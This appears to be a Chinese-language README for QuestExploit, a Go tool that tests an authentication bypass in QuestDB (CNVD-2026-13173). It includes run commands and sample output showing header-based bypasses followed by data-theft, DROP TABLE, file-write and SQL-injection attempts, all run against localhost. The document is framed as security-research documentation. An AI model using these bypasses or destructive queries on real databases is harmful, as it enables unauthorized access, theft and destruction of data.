QuestExploit

QuestDB Exploit

项目简介

QuestExploit 是一款基于 Go 语言开发的自动化安全测试工具。它针对 QuestDB 数据库的身份验证机制进行深度探测,能够自动验证多种绕过手段,并演示在成功绕过身份验证后,攻击者可能执行的恶意操作(如数据窃取、表删除、任意文件写入等)。

本项目是 QuestDB 身份验证绕过漏洞利用工具 的详细文档。该工具专门用于演示和测试 QuestDB 在特定配置下存在的安全风险,帮助安全研究人员理解身份验证绕过机制及其潜在后果。

漏洞编号:CNVD-2026-13173

漏洞详情

CNVD-2026-13173 漏洞说明

漏洞类型:未授权访问漏洞

危害级别:中 (AV:N/AC:L/Au:N/C:P/I:N/A:N)

影响产品:QuestDB questdb

漏洞描述:QuestDB 是一个开源的时间序列数据库,提供极快的导入速度和动态、低延迟的 SQL 查询。该漏洞导致攻击者可以绕过身份验证机制,未授权访问敏感接口,获取敏感信息。

漏洞成因:身份验证配置失效,导致无需提供有效凭证即可访问受保护的 API 端点。

临时解决方案:在 QuestDB 前端部署反向代理(如 Nginx)并启用 HTTP Basic 认证,作为额外的访问控制层。

正式解决方案:厂商尚未提供漏洞修复方案,请关注厂商主页更新:https://questdb.com/

公开日期:2026-02-14 报送时间:2026-02-26 收录时间:2026-03-10

核心功能

1. 自动化身份验证绕过探测

2. 攻击行为演示 (PoC)

3. 攻击历史管理

4. 智能目标检测

快速开始

环境准备

安装依赖

在项目根目录下运行:

go mod tidy

使用指南

执行漏洞利用攻击

提供目标的 URL 即可开始测试:

go run . -u http://127.0.0.1:9000

示例输出:

[GIN-debug] [2026-02-14 12:02:47] [信息] 开始针对目标 localhost 的攻击
[GIN-debug] [2026-02-14 12:02:47] [信息] SQLite 数据库初始化成功,数据存放在: data/questdb_exploit_audit.db

测试: 无身份验证头
  HTTP状态码: 200
  响应包含有效数据集(身份验证绕过成功)

测试: 基本身份验证使用错误密码 (admin:wrong)
  HTTP状态码: 200
  响应包含有效数据集(身份验证绕过成功)

测试: 基本身份验证使用空用户名和密码 (:)
  HTTP状态码: 200
  响应包含有效数据集(身份验证绕过成功)

测试: 格式错误的基本身份验证头 (Basic abc1234567890)
  HTTP状态码: 200
  响应包含有效数据集(身份验证绕过成功)

测试: 空授权头
  HTTP状态码: 200
  响应包含有效数据集(身份验证绕过成功)

数据窃取命令 (SELECT * FROM users):
  HTTP状态码: 400
  响应预览: {"query":"SELECT * FROM users","error":"table does not exist [table=users]","position":14}

数据销毁命令 (DROP TABLE critical_logs):
  HTTP状态码: 400
  响应预览: {"query":"DROP TABLE critical_logs","error":"table does not exist [table=critical_logs]","position":11}

文件写入命令 (COPY (SELECT 'malicious') TO '/tmp/evil.csv'):
  HTTP状态码: 400
  响应预览: GET request method cannot have content

SQL注入命令 (CREATE TABLE \"test\"; DROP TABLE users; --\" (ts timestamp, val double);):
  HTTP状态码: 400
  响应预览: GET request method cannot have content

[GIN-debug] [2026-02-14 12:02:47] [信息] 成功记录攻击历史到数据库: http://localhost:9000
[GIN-debug] [2026-02-14 12:02:47] [信息] 漏洞利用执行完成

查看攻击历史记录

查看之前的测试记录:

# 查看所有历史记录
go run . -view-history

# 过滤特定主机的记录
go run . -view-history -history-filter localhost

# 只看最近的 5 条记录
go run . -view-history -history-limit 5

示例输出:

[GIN-debug] [2026-02-14 12:04:21] [信息] SQLite 数据库初始化成功,数据存放在: data/questdb_exploit_audit.db

ID   |主机                     |无认证绕过  |错误密码绕过  |空认证  |畸形头绕过  |空头   |AdminQuest绕过  |创建时间
---  |---                    |---    |---     |---  |---    |---  |---           |---
4    |http://localhost:9000  |是      |是       |是    |是      |是    |是             |2026-02-14 04:02:47
3    |http://localhost:9000  |是      |是       |是    |是      |是    |是             |2026-02-14 04:02:34
2    |http://localhost:9000  |是      |是       |是    |是      |是    |是             |2026-02-14 03:52:11
1    |http://localhost:9000  |否      |否       |否    |否      |否    |否             |2026-02-14 03:49:24

[GIN-debug] [2026-02-14 12:04:21] [信息] 共找到 4 条历史记录

查看统计摘要

快速了解整体的攻击情况:

go run . -history-summary

示例输出:

统计项             |数量
---             |---
总记录数            |5
无认证绕过成功         |4
错误密码绕过成功        |4
空认证成功           |4
畸形头绕过成功         |4
空头成功            |4
AdminQuest绕过成功  |4
唯一主机数           |2
最新记录时间          |2026-02-14 04:04:39
最早记录时间          |2026-02-14 03:49:24

项目结构

项目代码组织结构如下:

系统要求

硬件要求

软件要求

法律依据与合规性

本工具的开发和使用严格遵循以下法律法规:

《中华人民共和国刑事诉讼法》第 138 条

规定了电子数据的收集、固定、审查、判断程序:

《中华人民共和国网络安全法》第 50 条

规定了网络运营者配合网络安全监督管理:

《电子数据取证规范》GA/T 1070-2013

规定了电子数据取证的标准操作规程:

法律后果警示

违反上述法律法规可能导致:

免责声明

许可证

本项目采用 木兰宽松许可证 (Mulan PSL) 进行许可。 有关详细信息,请参阅 LICENSE 文件。

License: Mulan PSL v2

开源项目赞助计划

用捐赠助力发展

感谢您使用本项目!您的支持是开源持续发展的核心动力。 每一份捐赠都将直接用于: ✅ 服务器与基础设施维护 ✅ 新功能开发与版本迭代 ✅ 文档优化与社区建设

点滴支持皆能汇聚成海,让我们共同打造更强大的开源工具!


🌐 全球捐赠通道

国内用户


🔵 支付宝

🟢 微信支付

国际用户


📌 开发者社交图谱

技术交流

社交互动